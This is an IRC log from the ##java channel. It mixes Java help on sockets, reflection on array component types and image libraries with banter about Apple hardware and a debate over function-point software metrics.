[06:23:18] <slava> pr3d4t0r: first i'll gauge my eyes out with a spoon
[06:24:02] <rogue-kun{B}> a blunt spoon? 8)
[06:24:11] <Jaywalker> anyone know why my Java sockets drop packets?
[06:24:30] <Jaywalker> or sends them out of order
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[06:26:07] <slava> Jaywalker: java sockets just use your OS's sockets.
[06:27:23] <Jaywalker> yes, but they work fine on other applications... this is something in the code
[06:27:42] <Jaywalker> i'm making an IRC bot type thing.... so it has to send alot of messages in order
[06:28:18] <slava> everything you write to a socket is sent in order.
[06:28:26] <pr3d4t0r> slava: Whatever.
[06:28:27] <slava> i presume you're talkign about TCP?
[06:28:35] <pr3d4t0r> slava: Yet we made a ton of money with that.
[06:28:40] <slava> pr3d4t0r: i'll write an OS when i'm ready.
[06:28:41] <pr3d4t0r> slava: And learned a lot.
[06:29:13] <slava> pr3d4t0r: i'd like to switch people over to an OS written in a dynamic language. no more C :)
[06:29:35] <Jaywalker> yes, TCP sockets
[06:30:31] <pr3d4t0r> slava: It sounds like... Smalltalk!
[06:30:35] <pr3d4t0r> slava: Or Oberon!
[06:30:35] <slava> pr3d4t0r: yup
[06:30:45] <Jaywalker> and i know it's not sending in order... b/c it trys to ban the user before setting operator status
[06:30:57] <slava> Jaywalker: the problem is your code.
[06:31:08] <Jaywalker> i know this... hence me coming inhere
[06:31:11] <Jaywalker> in here*
[06:31:27] <Jaywalker> maybe i'm just not giving freenode enough time to respond
[06:31:50] <Jaywalker> anyone know a wait command.... like wait(10); or something?
[06:32:02] <slava> that won't help.
[06:32:18] <Jaywalker> if i wait after flushing each data.... why wouldn't it help
[06:32:29] <Jaywalker> b/c i flush after each socket.write();
[06:32:30] <slava> because flushing/writing will already block until i/o is complete
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[06:34:48] <Jaywalker> i'll just show u my code
[06:34:57] <pr3d4t0r> Jaywalker: Fix your keyboard first.
[06:35:04] <rifkerifi> how do i make use of java.awt.Toolkit.beep(). its an abstract method with no other classes implementing it for me
[06:35:06] <Jaywalker> my keyboard is quite fine
[06:35:17] <pr3d4t0r> Jaywalker: Oh, OKi.  It's "you", not "u".
[06:35:30] <slava> rifkerifi: Toolkit.getDefaultToolkit().beep();
[06:35:31] <Jaywalker> no, that is called lazieness
[06:35:41] <slava> pr3d4t0r: he's too lazy to spell lazyness, too.
[06:35:47] <pr3d4t0r> ~tell Jaywalker about aolbonics
[06:35:47] <javabot> Jaywalker, aolbonics is talking using numbers, or using single letters for you, are, you are, you're, etc. Examples are: Hey evry1; howz it goin?; how r u; ur teh suckz. Talking like this is frowned upon in ##java, and may result in you being silenced. See this for more detail: http://ars.userfriendly.org/cartoons/?id=20041201
[06:36:06] <pr3d4t0r> slava: Can you see my pastebin from where you are?
[06:36:13] <slava> url
[06:36:15] <pr3d4t0r> ~tell slava about pastebin
[06:36:15] <javabot> slava, Paste your code, preferably a test case, any errors, and any other relevant information into the pastebin and tell us the URL: http://eugeneciurana.com/pastebin
[06:36:26] <pr3d4t0r> slava: Some network Bad Thing(tm) is going on.
[06:36:55] <slava> pr3d4t0r: it seems to work for me. i just made a test paste. however, Drone is not announcing it
[06:37:06] <pr3d4t0r> slava: Drone is Bevin's bot.
[06:37:06] <Drone> View Jaywalker's post at:  http://eugeneciurana.com/pastebin/pastebin.php?show=8339
[06:37:15] <slava> pr3d4t0r: install lisppaste already. it does java syntax highlighting.
[06:37:20] <pr3d4t0r> slava: You might've typed #java instead of ##java.
[06:37:25] <slava> pr3d4t0r: oops.
[06:37:51] <pr3d4t0r> slava: Syntax highlighting is for lazy gits.
[06:38:04] <thehil> ~javadoc Graphics
[06:38:04] <javabot> thehil, please see java.awt.Graphics: http://java.sun.com/j2se/1.5.0/docs/api/java/awt/Graphics.html
[06:38:28] <slava> pr3d4t0r: you're so... old fashioned
[06:38:43] <thehil> ~what is graphics
[06:38:44] <javabot> I already have a factoid with that name, thehil
[06:38:55] <thehil> ~graphics
[06:38:55] <javabot> thehil, graphics is http://java.sun.com/tutorial/2d
[06:38:58] <Jaywalker> well...anyone have a clue what i can do?
[06:40:24] <pr3d4t0r> slava: No, I just don't need syntax highlighting distractions when I'm trying to read code.
[06:40:33] <slava> it makes it easier to read code
[06:40:52] <ThunderChicken> sometimes.
[06:40:54] <pr3d4t0r> Jaywalker: What's the problem again?  That listing is way too big.
[06:41:07] <pr3d4t0r> Jaywalker: Can you insulate the problem to a short example?
[06:41:35] <pr3d4t0r> Jaywalker: You may also want to consider splitting that big method into smaller methods.
[06:42:25] <Jaywalker> well.. the problem is that it sends the data too fast and/or in the wrong order
[06:42:43] <Jaywalker> he'll set op... skip baning the user... then unop
[06:42:50] <Jaywalker> or he'll just set op
[06:42:58] <pr3d4t0r> Jaywalker: Without having the patience to figure this out 100%, it might be that one of the if/else clauses is not where you think it is.
[06:43:00] <slava> with IRC, you have to wait for the server to respond
[06:43:05] <slava> after you set ops
[06:43:17] <Jaywalker> yeah.... i just asked about that
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[06:43:28] <slava> rewrite your whole bot using an event loop
[06:43:29] <Jaywalker> how can i delay the next data send
[06:43:44] <slava> this sequence of events is valid:
[06:43:50] <slava> you ask for ops; a ton of messages arrive; you get ops
[06:43:57] <slava> you have to handle those messages correctly
[06:44:02] <Jaywalker> i don't get any
[06:44:06] <slava> so, re-do the whole thing with an event loop.
[06:44:15] <Jaywalker> ahem, event loop means nothing to a VB guy
[06:44:16] <slava> writing irc bots is tricky. using continuations helps, but java doens't have those
[06:44:44] * mohadib flosses his pinto with platnum curb feelers
[06:44:52] <slava> mohadib: lol
[06:45:04] <slava> mohadib: recognize that i had to earn deeze gold teef fool
[06:45:05] <mohadib> ;)
[06:45:06] <Jaywalker> BASIC is my LOC, java is more efficient and somewhat close to the same syntax i love
[06:45:10] <mohadib> haha
[06:45:54] <thehil> ~cheeser
[06:45:55] <javabot> thehil, I have no idea what cheeser is.
[06:46:05] <slava> ~cheeser is the 0p3r4t0r
[06:46:06] <javabot> Okay, slava.
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[06:46:12] <thehil> ~cheeser--
[06:46:12] <javabot> cheeser has a karma level of 142, thehil
[06:46:40] <rogue-kun{B}> ~thehil--
[06:46:40] <javabot> thehil has a karma level of -1, rogue-kun{B}
[06:46:50] <mohadib> hah
[06:46:57] <rogue-kun{B}> for not have the currage to do it when he was here
[06:47:07] <mohadib> hah
[06:50:53] <slava> mohadib: dat big booty bitch be lookin' fly but she just after yo cheddar
[06:51:11] <jwormy> mohadib is stupid slava, don't talk to him
[06:51:28] <jwormy> i'm pretty sure he has less karma than me
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[06:51:53] <rogue-kun{B}> karam and intelgacy is not the same thing 8)
[06:51:58] <slava> mohadib, jwormy: are you going to settle this like gentlemen or are we going to get into some gangsta shit?
[06:52:00] <rogue-kun{B}> ~jwormy
[06:52:00] <javabot> rogue-kun{B}, jwormy is an asshat.
[06:52:20] <jwormy> :\
[06:52:52] <rogue-kun{B}> slava: pistals or sabers?
[06:53:02] <jwormy> ok sleep.. later folks
[06:53:12] <rogue-kun{B}> oyasumi jwormy-san
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[06:55:29] <FreemaniaX> is there a standard naming convention for junit test classes?
[06:56:44] <FreemaniaX> if my regular packages are called com.mycompany  should I name my corresponding test package as test.com.mycompany
[06:56:59] <FreemaniaX> or com.mycompany.test?
[06:58:37] <thehil> cheeser is a control freak
[06:58:41] <thehil> dibblego told me so
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[07:01:35] * pr3d4t0r eyes thehil
[07:01:49] <pr3d4t0r> thehil: cheeser is not a control freak.
[07:04:35] <slava> man. those agile software morons are sending me spam.
[07:13:22] <mohadib> slava: hahah
[07:13:28] <mohadib> ~jwormy
[07:13:28] <javabot> mohadib, jwormy is an asshat.
[07:13:30] <mohadib> LOL
[07:13:34] <mohadib> good stuff
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[07:15:32] <mohadib> thehil: why do you want to rant out dibbl
[07:15:40] <mohadib> s/rant/rat/
[07:16:06] <mohadib> ~tell jwormy about jwormy
[07:16:06] <javabot> jwormy, jwormy is an asshat.
[07:16:29] <mohadib> just so jwormy will see it ;)
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[07:21:25] <rogue-kun{B}> mohadib he say it when i tryed to check his karma earlyer
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[07:29:22] <Cow_woC> moo
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[07:34:22] <mohadib> rogue-kun{B}: yes i know , but im sure he enjoyed seeing it again
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[07:38:03] <slava> mohadib: stop being a hater
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[07:41:49] <mohadib> heh
[07:41:57] * mohadib has a PHD
[07:42:06] <omay> hi, if i have Object myArray, how can i find out the base type? e.g. if myArray is of type byte[][][] i want something like boolean isByteArray = isByteArray(myArray)
[07:44:50] <pr3d4t0r> omay: Easy.
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[07:45:15] <Drone> View pr3d4t0r's post at:  http://eugeneciurana.com/pastebin/pastebin.php?show=8340
[07:45:20] <pr3d4t0r> omay: ^^^
[07:45:30] <pr3d4t0r> omay: That'll print [B (array of bytes).
[07:46:00] <pr3d4t0r> omay: You can test for various types as you see fit.
[07:47:16] <kinabalu> pr3d4t0r!
[07:47:22] * pr3d4t0r ponders downloading episode two of "Desperate Housewives".
[07:47:24] <pr3d4t0r> kinabalu!
[07:47:30] <kinabalu> pr3d4t0r: you playing with itunes 6
[07:47:41] <pr3d4t0r> kinabalu: http://eugeneciurana.com/musings/JavaInAction.html
[07:47:45] <pr3d4t0r> kinabalu: Yeah.
[07:47:50] <pr3d4t0r> kinabalu: It's nice.
[07:47:54] <kinabalu> $1.99 per episode ... kinda steep
[07:47:56] <pr3d4t0r> kinabalu: I wrote a report about it last night.
[07:48:01] <slava> pr3d4t0r: my dear friend there's an easier wya to do that
[07:48:06] <pr3d4t0r> kinabalu: I think it's OKi.
[07:48:19] <slava> if obj is an array, then do obj.getClass().getArrayType()
[07:48:32] <pr3d4t0r> slava: Six of yours, half a dozen of the others.
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[07:49:09] <pr3d4t0r> slava: I'm illustrating that he could query the array.  He can check the methods in Class to figure out what he really needs.'
[07:49:15] <pr3d4t0r> s/'//
[07:49:20] <omay> slava: how can i find out if the Object is an array?
[07:49:28] * pr3d4t0r smacks omay
[07:49:36] <slava> getClass().isArray()
[07:49:58] <omay> just found it out by myself ;)
[07:49:59] <pr3d4t0r> ~tell slava about spoonfeed
[07:50:00] <slava> new byte[3].getClass().getComponentType() == Byte.TYPE
[07:50:00] <javabot> slava, I guess the factoid 'spoonfeeding' might be appropriate:
[07:50:02] <javabot> slava, Spoon-feed a newbie for a day and he will come back with more questions.  Teach him how to help himself and he will come back with answers.
[07:50:14] <kinabalu> pr3d4t0r: awesome.
[07:50:17] <slava> pr3d4t0r: well, java's arrays/reflection are hardly intuitive or well-designed. some guidance is in orde.r
[07:50:23] <pr3d4t0r> kinabalu: Nice, isnt it?
[07:50:30] <pr3d4t0r> slava: OKi, I'll buy that.
[07:50:33] <kinabalu> pr3d4t0r: yeah .. definitely
[07:50:46] <pr3d4t0r> kinabalu: Are you coming to Las Vegas with us?
[07:50:51] <pr3d4t0r> kinabalu: This March.
[07:51:05] <kinabalu> pr3d4t0r: what tf conference is that?
[07:51:19] <pr3d4t0r> kinabalu: Java futures.
[07:51:21] <Torquemada> lol seems intuitive, only gripe is the object/primitive inconsistency
[07:51:27] <pr3d4t0r> kinabalu: I don't remember and my brain is fried.
[07:51:30] <slava> Torquemada: that's a major flaw.
[07:51:32] <kinabalu> pr3d4t0r: sounds fun.  i'm in :)
[07:51:33] <pr3d4t0r> javabot: Torquemada++
[07:51:34] <javabot> torquemada has a karma level of 1, pr3d4t0r
[07:51:35] <pr3d4t0r> javabot: Torquemada++
[07:51:35] <pr3d4t0r> javabot: Torquemada++
[07:51:36] <javabot> torquemada has a karma level of 2, pr3d4t0r
[07:51:38] <javabot> torquemada has a karma level of 3, pr3d4t0r
[07:52:13] <pr3d4t0r> kinabalu: If Apple announces new PowerBooks on 19.Oct I'm getting one.
[07:52:21] <slava> intel ones?
[07:52:28] <kinabalu> pr3d4t0r: another one!
[07:52:32] <pr3d4t0r> kinabalu: That'll mean that there won't be Intel PowerBooks announced at the same time as the Intel Macs.
[07:52:35] <kinabalu> pr3d4t0r: i'd wait for the intel ones .. out soon enough
[07:52:46] <kinabalu> 19th of Oct is the pink ipod ..
[07:52:48] <pr3d4t0r> slava: No, they'll probably be G5s.
[07:53:01] <slava> if they're g5's, i'm getting one.
[07:53:01] <pr3d4t0r> kinabalu: Yeah, maybe.  We'll see.
[07:53:05] <slava> otherwise a g5 desktop
[07:53:18] <pr3d4t0r> slava: Don't spend money on a desktop G5.  Wait for Intel.
[07:53:24] <slava> pr3d4t0r: i already have an intel box.
[07:53:32] <Amnesiac> pr3d4t0r, why not a G5?
[07:53:48] <pr3d4t0r> slava: PowerBook G5 does make sense; those machines won't run Intel processors until at least 6 months after the Intel Macs arrive.
[07:53:58] <pr3d4t0r> Amnesiac: ^^^
[07:54:05] <slava> pr3d4t0r: i want a g5 because it has a powerpc cpu.
[07:54:14] <Amnesiac> slava++
[07:54:15] <pr3d4t0r> Amnesiac: Because newer machines will be available six months later.
[07:54:26] <Amnesiac> pr3d4t0r, yep, I prefer powerpc :/
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[07:54:36] <Amnesiac> or a PowerBook with an Amd Turion :P
[07:54:37] <Amnesiac> hahaha
[07:55:07] <kinabalu> pr3d4t0r: know of any image resizing code out there, the one I have seems to choke and use up lots of PermGen space ..
[07:55:52] <pr3d4t0r> kinabalu: Java?
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[07:56:49] <slava> pr3d4t0r: if i was getting an x86 box i'd get an athlon machine from a clone vendor and put linux on it.
[07:56:52] <Cow_woC> kinabalu: ImageIO and JAI are fine, albeit slow
[07:57:06] <pr3d4t0r> kinabalu: Jimi.
[07:57:43] <Amnesiac> slava, good choice, I have been puting an eye on the Acer's Ferrari laptops.. yes they're acer
[07:57:51] <Amnesiac> but they have a nice Amd turion 64, with 1Gig ram
[07:57:57] <Amnesiac> they seem nice
[07:57:58] <pr3d4t0r> Amnesiac: jboyens had one at JIA.
[07:58:03] <pr3d4t0r> Amnesiac: They're *very* nice.
[07:58:06] <kinabalu> pr3d4t0r: Jimi eh?  ok .. was looking for something simple .. this thing chokes on a half meg file resize ..
[07:58:12] <pr3d4t0r> Amnesiac: The battery life sucks.
[07:58:19] <Amnesiac> really?
[07:58:21] <pr3d4t0r> kinabalu: Jimi then :)
[07:58:24] <kinabalu> Amnesiac: and they're always in the shop for a tune-up
[07:58:25] <pr3d4t0r> Amnesiac: Really.
[07:58:26] <Amnesiac> just like some Sony VAIO batteries
[07:58:30] <omay> hm, String have no .TYPE, how i can found out, that i have an array of String?
[07:58:34] <Amnesiac> but I don't like Sony laptops
[07:58:37] <slava> omay: String.class
[07:58:45] <pr3d4t0r> Amnesiac: I was able to run my PowerBook almost all day without recharging it.
[07:58:58] <Amnesiac> well I want a powerbook, I might buy one
[07:58:59] <omay> thx
[07:59:01] <Amnesiac> but with a powerpc proc
[07:59:03] <Amnesiac> not intel :/
[07:59:09] <Amnesiac> intel = suckage :P
[07:59:13] <pr3d4t0r> Amnesiac: I got over 5 hours of battery life on my PowerBook.
[07:59:18] <pr3d4t0r> Amnesiac: With witnesses.
[07:59:34] <kinabalu> pr3d4t0r: so does JAI suck or what?  isnt' that what Sun is pushing?
[07:59:34] <pr3d4t0r> Amnesiac: Everyone was running to recharge their machines often.  I could go with mine all day, no sweat.
[07:59:47] <pr3d4t0r> kinabalu: Yes, it sucks; yes, that's what Sun pushes.
[07:59:52] <pr3d4t0r> kinabalu: JAI is based on Jimi.
[08:00:03] <kinabalu> pr3d4t0r: bastards.  probably overcomplicated
[08:00:21] <Cow_woC> but JIMI is by Sun too no?
[08:00:24] <Cow_woC> http://java.sun.com/products/jimi/
[08:00:30] <pr3d4t0r> Amnesiac: 3 hours of non-stop use, 55% battery life left.
[08:00:37] <pr3d4t0r> Cow_woC: No.
[08:00:42] <kinabalu> Cow_woC: not originally .. some other company developed it
[08:00:43] <slava> pr3d4t0r: there's rumors that apple will announce dual-core g5's on the 19th.
[08:00:53] <pr3d4t0r> Cow_woC: Sun bought Jimi, dissected it, then made it available "as is".
[08:00:54] <slava> pr3d4t0r: so two dual-core g5's in the high-end box ,for a total of 4 cpus.
[08:00:59] <Cow_woC> hmm
[08:00:59] <slava> pr3d4t0r: if this is what it is i'm getting one.
[08:01:09] <pr3d4t0r> slava: Yeah, that'd be nice.
[08:01:15] <pr3d4t0r> slava: I'll be happy with a new PowerBook.
[08:01:24] <Cow_woC> well anyway, JAI ... not sure how efficient or not it is..... my main beef with it is the filter-oriented design.......
[08:01:38] <Cow_woC> must be uber-flexible, but it looks unintuitive to use
[08:01:40] <pr3d4t0r> Cow_woC: Filter oriented design == Jimi.
[08:01:46] <Cow_woC> ok
[08:01:55] <Cow_woC> well, I don't like it too much :P
[08:02:05] <pr3d4t0r> Cow_woC: And it's as efficient as a snail running uphill on a wooden board smeared with molasses.
[08:02:10] <Cow_woC> but if I understand correctly, JAI is able to handle *huge* images
[08:02:16] <Cow_woC> that might not even fit in memory, which is cool
[08:02:19] <pr3d4t0r> Cow_woC: Neither do I; that's why I tell people to use Jimi.
[08:02:27] <Cow_woC> heh
[08:02:27] <Cow_woC> ok
[08:02:40] <pr3d4t0r> Hrm...
[08:02:47] <pr3d4t0r> Time to decide what to do.
[08:02:52] <pr3d4t0r> 2300 PDT.
[08:03:00] <pr3d4t0r> Continue or not... that is the question...
[08:03:06] <kinabalu> CoNTINUE!@?#@
[08:03:18] <kinabalu> what are we doing?
[08:03:27] <pr3d4t0r> It'll be a 30 minute download for "Desperate Wives"... Hrm...
[08:03:41] <slava> pr3d4t0r: what do you do for a living?
[08:05:47] <Supaplex> I feed myself, sleep, wake up, breath air - normal stuff. oh, and I work a full time job, and occasionally get a paycheck.
[08:05:58] <Supaplex> facinating isn't it?
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[08:06:22] <mohadib> not really
[08:06:33] <slava> mohadib: want to see the end results of 2 days fighting with freetype?
[08:06:38] <slava> mohadib: they're not good
[08:06:39] <mohadib> sure
[08:06:46] <slava> mohadib: http://factor.sf.net/opengl-2.png
[08:06:56] <slava> mohadib: i'm setting up the textures incorrectly; i'll look into it tomorrow
[08:07:09] <mohadib> heh
[08:07:37] <pr3d4t0r> kinabalu: I'm downloading season 1 of "Desperate Housewives".
[08:07:42] <slava> but the scrollbars look sorta cool, once i fix the off-by-one error in the boundary polygon
[08:07:46] <pr3d4t0r> kinabalu: $1.5/episode
[08:07:59] <pr3d4t0r> kinabalu: Or around 25% off.
[08:08:12] <pr3d4t0r> kinabalu: I can view them in my computer (yey!) or in my new iPod when it shows up.
[08:08:19] <kinabalu> pr3d4t0r: how'd that work out?
[08:08:27] <pr3d4t0r> kinabalu: Great.
[08:08:27] <kinabalu> pr3d4t0r: did you buy the new fscking iPod too?
[08:08:37] <pr3d4t0r> kinabalu: I watched the pilot yesterday.
[08:08:43] <pr3d4t0r> kinabalu: Yeah, I ordered one.
[08:08:43] <kinabalu> how many ipod's you have?
[08:08:48] <ohsix> 9
[08:08:49] <kinabalu> pr3d4t0r: i hear Lost is getting good ..
[08:08:51] <pr3d4t0r> kinabalu: Three when that one arrives.
[08:08:58] <slava> he's got more ipods than mohadib has 5-finger rings
[08:09:01] <kinabalu> what do you need with all the damn ipods
[08:09:09] <pr3d4t0r> kinabalu: Research.
[08:09:19] <kinabalu> heh
[08:09:21] <mohadib> pr3d4t0r: lolo
[08:09:40] <omay> slava: i did: Class componentType = p_array.getClass().getComponentType(); and then i call a func hf(componentType) where i have if (componentType == Long.TYPE) {, but it don't work, what is wrong?
[08:11:04] <kinabalu> nighttime ..
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[08:11:41] <rogue-kun{B}> omay: why Class insead of Object as your type?
[08:11:49] <slava> pr3d4t0r: i have a qusetion
[08:11:55] <slava> pr3d4t0r: what is the obj-c equivalent of clone(). i need to copy an object
[08:12:12] <omay> rogue-kun{B}: i don't what wich type it is, i must find it out at first
[08:12:22] <omay> what=know
[08:12:37] <rogue-kun{B}> yes hece why Object is used....the base class
[08:14:19] <omay> i checked this in debugger, if i have an array int[][][] then the componentType is int[][], it's not what i want
[08:14:19] <rogue-kun{B}> Object is the superclass of Class 8)
[08:14:34] <slava> in smalltalk there are two classes that are instances of themselves
[08:14:42] <slava> s/themselves/each other/
[08:15:23] <omay> what i want is the base type, baseType of int[][][] should be int and not int[][]
[08:15:32] <slava> omay: no, the base type of int[][] is int[]
[08:15:45] <slava> just keep getting the component type util you have something that is not an array type
[08:16:01] <omay> slava: pff
[08:16:12] <rogue-kun{B}> omay basicly you need to recution down untill you not given an array back 8)
[08:16:47] <omay> ok, if there is no other way...
[08:20:32] <pr3d4t0r> w00t!
[08:20:35] <pr3d4t0r> "According to BBC News, the world's oldest noodles have been found at the Lajia site in China. Carbon Dating has found the remains to be over 4000 years old."
[08:20:43] <slava> pr3d4t0r: any ideas?
[08:20:47] <slava> pr3d4t0r: on how to copy an ojbect
[08:21:01] <pr3d4t0r> That means that Judeo-Christian postulates about the origin of the world might be right.  4000 years old.
[08:21:10] <pr3d4t0r> The noodles confirm it...
[08:21:22] <slava> origin of the world is not the same as the origin of noodles
[08:21:34] <pr3d4t0r> slava: You're missing the point ;)
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[08:21:56] <slava> pr3d4t0r: i don't believe in Judeo-Christian postulates. i believe in science.
[08:22:54] <pr3d4t0r> slava: Did you try the copy method yet?
[08:22:59] <slava> oh
[08:23:40] <slava> pr3d4t0r: do you know carbon?
[08:24:38] <pr3d4t0r> slava: No.
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[08:24:57] <slava> pr3d4t0r: i'm going to start learning it soon.
[08:25:00] <pr3d4t0r> slava: Nobody's paying me to program Macs, so I only learn about them when I have a need to do something in a hurry.
[08:25:13] <slava> pr3d4t0r: why aren't you working for jonathan? :)
[08:26:02] <pr3d4t0r> slava: He can't afford me.
[08:26:06] <pr3d4t0r> slava: And he used to work for me.
[08:28:31] <slava> what is your salary?
[08:28:32] <pr3d4t0r> slava: You realize that he offered me the work you're doing for him, right?
[08:28:49] <pr3d4t0r> slava: My salary > $130K/year, not including my bonus and other persk.
[08:28:51] <pr3d4t0r> Er, perks.
[08:29:03] <slava> what do you do?
[08:29:14] <MacIver> assasin
[08:29:21] <ohsix> but spelled properly
[08:29:26] <MacIver> :-d
[08:29:31] <MacIver> naw
[08:30:26] <pr3d4t0r> slava: Applied research, mostly.
[08:30:34] <slava> into what?
[08:30:34] <pr3d4t0r> slava: Troll IRC.
[08:30:40] <pr3d4t0r> slava: Digital life products.
[08:31:12] <pr3d4t0r> slava: Mobile phones, iPods, computer-based entertainment centers, etc.  Any product or service that can be delivered to end users over digital lines and devices.
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[08:31:34] <pr3d4t0r> slava: That's why I have all these toys around.  I get paid to play with them, beat them into submission, figure out what they do, etc.
[08:32:40] <slava> no coding then?
[08:32:49] <pr3d4t0r> slava: Occasionally, when I feel like it.
[08:33:03] <pr3d4t0r> slava: I have a team who works for me who do all the coding.
[08:33:14] <pr3d4t0r> slava: I only code the interesting/really hard stuff, and only when I feel like it.
[08:33:38] <pr3d4t0r> slava: Like the web services stuff I talked about at the conference.
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[08:34:18] <pr3d4t0r> slava: Or a password manager I'm working on for the credit card validation engine database.  This last one is a sexy project.
[08:35:08] <pr3d4t0r> slava: I'm playing with MD5 sums, random number generators, polynomials, AES encryption, etc.
[08:35:42] <slava> pr3d4t0r: i'm working on a polynomial algebra package
[08:35:49] <pr3d4t0r> slava: Sweet.
[08:36:13] <pr3d4t0r> slava: Another thing I'm working on that takes a big chunk of my time is research into productivity measurements for software development groups.
[08:36:34] <slava> the measurement is simple. the more people you have on the team, the less work gets done per person.
[08:36:43] <pr3d4t0r> slava: If you can come up with rational ways of figuring out metrics, apply them, and show the gains, you can make tons of $$ in consulting.
[08:36:50] <pr3d4t0r> slava: That's bullshit.
[08:36:54] <pr3d4t0r> slava: To a point.
[08:37:17] <slava> pr3d4t0r: and i think 1 guy can do the work of 30 if he uses a better programming language
[08:37:24] <pr3d4t0r> slava: It's not the headcount that's the problem.  You can have 200 people in a team and be very productive.
[08:37:33] <pr3d4t0r> slava: That's also bullshit.
[08:38:06] <pr3d4t0r> slava: None of that is meaningful unless you evaluate it in the context of your business requirements and the intersection of various measuring points.
[08:38:26] <pr3d4t0r> slava: There is a discipline called "function points" measurements that I'm working on.  Fascinating stuff.
[08:38:52] <pr3d4t0r> slava: If you measure things against physical implementations your models break very, very, very fast.
[08:39:14] <pr3d4t0r> slava: So measuring 1 guy doing the work of 30 is meaningless by itself.
[08:39:41] <pr3d4t0r> slava: Metrics become meaningful only after they're taken at what is known as application boundaries.
[08:39:58] <slava> 1 guy doing the work of 30 means you don't have to pay the other 29 a salary
[08:40:24] <pr3d4t0r> slava: That's still meaningless if he's not meeting the spec or the SLA.
[08:40:43] <slava> but then he's not doing the work of 30; he's doing the wrong stuff
[08:40:46] <pr3d4t0r> slava: Function points measure quality, not quantity.  Quantity is a physical manifestation, thus misleading.
[08:40:46] <Drone> View omay's post at:  http://eugeneciurana.com/pastebin/pastebin.php?show=8341
[08:40:54] <pr3d4t0r> slava: Yeah, something like that.
[08:40:59] <omay> last one: http://eugeneciurana.com/pastebin/pastebin.php?show=8341
[08:41:09] <slava> pr3d4t0r: i'm pretty sure the quality of code with large teams goes down.
[08:41:17] <slava> pr3d4t0r: people duplicate work, misunderstand other's code, and so on.
[08:41:29] <omay> how to work around the p_array = p_array[0]; ?
[08:41:33] <pr3d4t0r> slava: So if your guy hits, say, 80% of the SLA by himself, then your metrics show that the methodology you have is GOOD and you should let THAT guy continue doing his thing his way.
[08:41:47] <pr3d4t0r> slava: Not true in all cases.
[08:42:28] <pr3d4t0r> slava: The optimal team size is 6, the optimal project length is 8 months, and the optimal project cost is $500K - $750K.
[08:42:51] <pr3d4t0r> slava: This research is a hell of a lot of fun.
[08:42:55] <slava> why is the optimal team size 6?
[08:43:04] <slava> what if the project is finished in 5 weeks?
[08:43:40] <pr3d4t0r> slava: Because empirically it has shown that less than six is too few for a non-trivial project, more than six is too many and quality starts decreasing exponentially.
[08:43:56] <slava> one person can do a non-trivial project
[08:43:58] <pr3d4t0r> slava: Then that's not a significant project for metrics purposes.
[08:44:50] <pr3d4t0r> slava: Metrics also only make sense over a period of six months to a year, and only when qualitatively compared against other metrics from people doing similar things in the same problem domain.
[08:45:13] <omay> if i cast p_array to Object[] i get a ClassCastException
[08:45:58] <pr3d4t0r> slava: There are some other surprising numbers.  Like 80% of all software projects fail.
[08:46:06] <slava> yes, that's well-known
[08:46:23] <pr3d4t0r> slava: Yeah, but seeing how you arrive at the 80% number is fascinating.
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[08:47:34] <pr3d4t0r> slava: That road is littered by the ravaged corpses of dumbasses who were too lazy to do req's, design work, etc. and managers who were too concerned about meetings and not about getting things done.
[08:47:56] <pr3d4t0r> slava: The surest way to fuck up a non-trivial software project is to start coding right away.
[08:48:09] <mohadib> heh
[08:48:20] <slava> its worked for me
[08:49:08] <rogue-kun{B}> pr3d4t0r, adding a second coder turn any project into a non trivial one 8)
[08:49:45] <slava> i prefer trivial programs. they work better. anything > 100kloc is fundamentally flawed and could be done better
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[08:51:23] <pr3d4t0r> rogue-kun{B}: No, it's not.
[08:51:41] <pr3d4t0r> slava: Not accurate.  LOCs and ELOCs are misleading.
[08:52:17] <pr3d4t0r> slava: The size of the project shouldn't be measured by the number of lines of code it involves but by the number of function points it affects.
[08:52:28] <slava> any way you measure it, ther is a certain complexity that is the upper limit for software
[08:52:34] <pr3d4t0r> slava: Yup.
[08:52:36] <slava> anything larger will suck
[08:52:58] <slava> so when people boast about how they are writing the biggest J2EE project ever, etc, you know their code is going to suck.
[08:53:14] <pr3d4t0r> slava: But that boundary rises much higher if you focus on what the software should DO, not on HOW it should do it.
[08:53:22] <pr3d4t0r> slava: Agreed 100%.
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[08:53:27] <pr3d4t0r> slava: Look at our site.
[08:53:31] <pr3d4t0r> slava: Our site is HUGE.
[08:53:44] <pr3d4t0r> slava: But we never, ever, ever tackle the whole site as a single entity.
[08:53:56] <pr3d4t0r> slava: New projects are delivered in small, manageable chunks.
[08:54:42] <pr3d4t0r> slava: You should read about function points.  Very interesting stuff.
[08:54:47] <pr3d4t0r> slava: http://www.ifpug.org
[08:55:23] <slava> nah, sounds too much like buzzwordy manager speak.
[08:55:31] <mohadib> ehe
[08:55:51] <pr3d4t0r> slava: It's not.
[08:55:58] <pr3d4t0r> slava: Managers *hate* it.
[08:56:11] <slava> pr3d4t0r: i'm a coder, not a business person. i have little interest in business matters
[08:56:28] <pr3d4t0r> slava: It provides ways of auditing what the managers are doing without interfering with the coders.
[08:57:15] <pr3d4t0r> slava: All other measurement techniques force the coders to stop coding and focus on counting physical shit.  Those things are easy to game so that 1. coders stop tricking shit so they can get back to coding; 2. managers can cook the numbers.
[08:57:17] <Cow_woC> man... function points
[08:57:21] <Cow_woC> that's old school, literally
[08:57:33] <Cow_woC> We studied them in university a few years back
[08:57:42] <Cow_woC> I found the material very dry and boring personally :)
[08:58:05] <slava> pr3d4t0r: why would i need code measurement techniques?
[08:58:06] <pr3d4t0r> Cow_woC: It's dry as a bone until you start actually doing it.  Then you start discovering shit in your systems that you can address and fix.
[08:58:11] <slava> i write code; i test it; i debug it; it works; its done
[08:58:19] <omay> slava: can't you help?
[08:58:45] <pr3d4t0r> slava: To improve the quality of the code; define "quality" any way you like, then measure your function points in terms of that definition.
[08:58:48] <Cow_woC> pr3d4t0r: I think the biggest problem with Software Engineering is the booooooooring applications (or lack of any app) that come with it. If it was easier and more interesting to do, everyone would do it.
[08:59:06] * slava is not a software engineer.
[08:59:08] <Cow_woC> pr3d4t0r: the biggest example being a bug reporting system or a CVS-like system.... once those got easier to use, everyone started using them
[08:59:12] <pr3d4t0r> Cow_woC: No, the problem is that too many people in programming are lazy gits.
[08:59:23] * slava programs like a lazy git.
[08:59:38] <slava> i write some code; if it doesn't work, i fix it. i don't need function points.
[08:59:51] <pr3d4t0r> slava: You don't.  And that's the idea.
[09:00:21] <pr3d4t0r> slava: But if you're selling that code, the guy(s) you're selling it to need function points to measure whether you succeeded or not.
[09:00:39] <pr3d4t0r> slava: Defining "it works" is a function point, for example.
[09:00:40] <slava> why can't they just test it?
